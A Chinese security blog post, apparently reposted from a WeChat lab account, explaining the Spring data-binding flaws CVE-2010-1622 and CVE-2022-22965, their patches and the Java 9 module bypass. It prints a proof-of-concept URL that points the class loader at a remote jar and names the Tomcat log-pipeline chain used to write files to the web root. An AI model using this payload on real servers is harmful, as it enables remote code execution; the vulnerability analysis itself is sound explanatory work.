声明
以下内容,均为文章作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。
长白山攻防实验室拥有该文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的副本,包括版权声明等全部内容。声明长白山攻防实验室允许,不得任意修改或增减此文章内容,不得以任何方式将其用于商业目的。
0x01 前言
0X02 CVE-2010-1622
现在创建一个Contorller与User类进行绑定:
通过Spring的@RequsetMapping解析用户请求中的“/login”
此时如果用户提交如下请求:
http://127.0.0.1/login?name=666
那么User对象中的user.name属性将会被设置为666。
在这个自动的过程中spring会自动发现User对象中的public方法和字段,如果user中出现public的一个字段,就自动绑定,并且允许用户提交请求给他赋值。
正是因为我们的User类中存在:
public void setName(String name) { this.name = name;}
在Spring自动检索后,将我们传递的值设置类给user中的name
接下来我们在原来的User类中添加一个UserSon的内部类:
UserSon中有一个属性为son,如果我们想通过参数绑定的方式实现 user.User-Son.son的属性进行赋值的话。
2.2 CVE-2010-1622简要分析
通过上面的参数绑定,我们便逐渐接近CVE-2010-1622了,java的所有类都有一个父类,这个类就是Object类,神奇的是这个类中包含一个getclass方法,也就是可以通过参数绑定的方式实现对Object类中的class属性进行操作,但是这样的操作并不足以造成漏洞。
http://localhost/login?class=XXX
但是在class对象中,存在着一个public Class getclassLoader()
对应着classLoader对象,类加载器,
我们通过:
http://localhost/login?class.classloader=XXX来控制类加载器。
在这个类加载器中存在一个getURLs()方法,这个方法可以从远端获取一个tld文件,并将tld文件。
可以通过:
url:jar:http://99.99.99.99/kxlzx.jar!
去下载服务器的一个jar文件,并在jar中找tld文件,并且通过tld文件做Spring自己的标签库进一步解析,解析时允许执行jsp语法,造成了命令执行。
POC:
http://localhost/login?class.classLoader.URLs[0]=jar:http://.polsscs.666.com/exp.jsp!
在这里有个小点提一下就是通过URLs[0]可以实现对象中的数组属性在没有public的set时依旧可以给其赋值,比如:
可见在这个对象的names属性不存在public的set,但是如果用户提交URL:http://localhost/login?name[0]=123依旧可以修改names.names[]的值。
2.3 CVE-2010-1622的补丁
上面的漏洞实际上分析下来,主要还是参数绑定的功能可以获取classLeader类加载器中包含了众多java在解析调用类时用到的属性,并且很多属性都被set后运行被外部调用了。后来Spring发布了补丁。
在CachedIntrospectionResults中。他将请求是class对象,并且请求属性时classLoader加入了黑名单。
0x03 CVE-2022-22965
通过上述分析,我们知道
getclassLoader导致的漏洞已经通过禁止 class.classLoader请求的补丁修复了,但是在接下来的java9及以上版本又因为java添加了Module属性。
3.1 Java Module分析
在JDK9及以上版本中 java.lang.Class对象中添加了getModue可一个对应的对象module。
在Module对象中又存在一个loader变量和 getClassLoader()方法,导致用户可以通过class,Module.classLoader获取classLoader再次造成漏洞。
在对BeanInfo赋值过程中
`CachedIntrospectionResults`会加载
`class-org.apache.catalina.loader.ParallelWebappClassLoader`对象,可以绕过黑名单检查。
.ParallelWebappClassLoader
是Tomcat中的classloader,这也是为什么CVE-2022-22965需要在tomcat容器中才可以的原因。
3.2 CVE-2022-22965复现:
复现环境:
依次发送下面五个请求:
5个请求发送完成以后,就会在web根目录生成csfile.txt
class.module.classLoader.resources.context.parent.pipeline.first.pattern这条利用链实现了对tomcat日志文件配置的更改。
0X04 总结
到文章的最后,实际上CVE-2022-22965产生的原因还是spring被JAVA坑了。导致通过module绕过了原来的CVE-2010-1622补丁的黑名单,于是在新的补丁中,Spring采取了更加严格的过滤,只允许所有类中的name属性合法通过,实现了对漏洞的修复。
实际上在
class.module.classLoader.resources.context中的利用链有很多,后续可能还会有新的利用链出现,但是如果更新了Spring那么就可以避免。
▇ 扫码关注我们 ▇
长白山攻防实验室
学习最新技术知识
原文始发于微信公众号(长白山攻防实验室):Spring-RCE(CVE-2022-22965)的前世今生
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论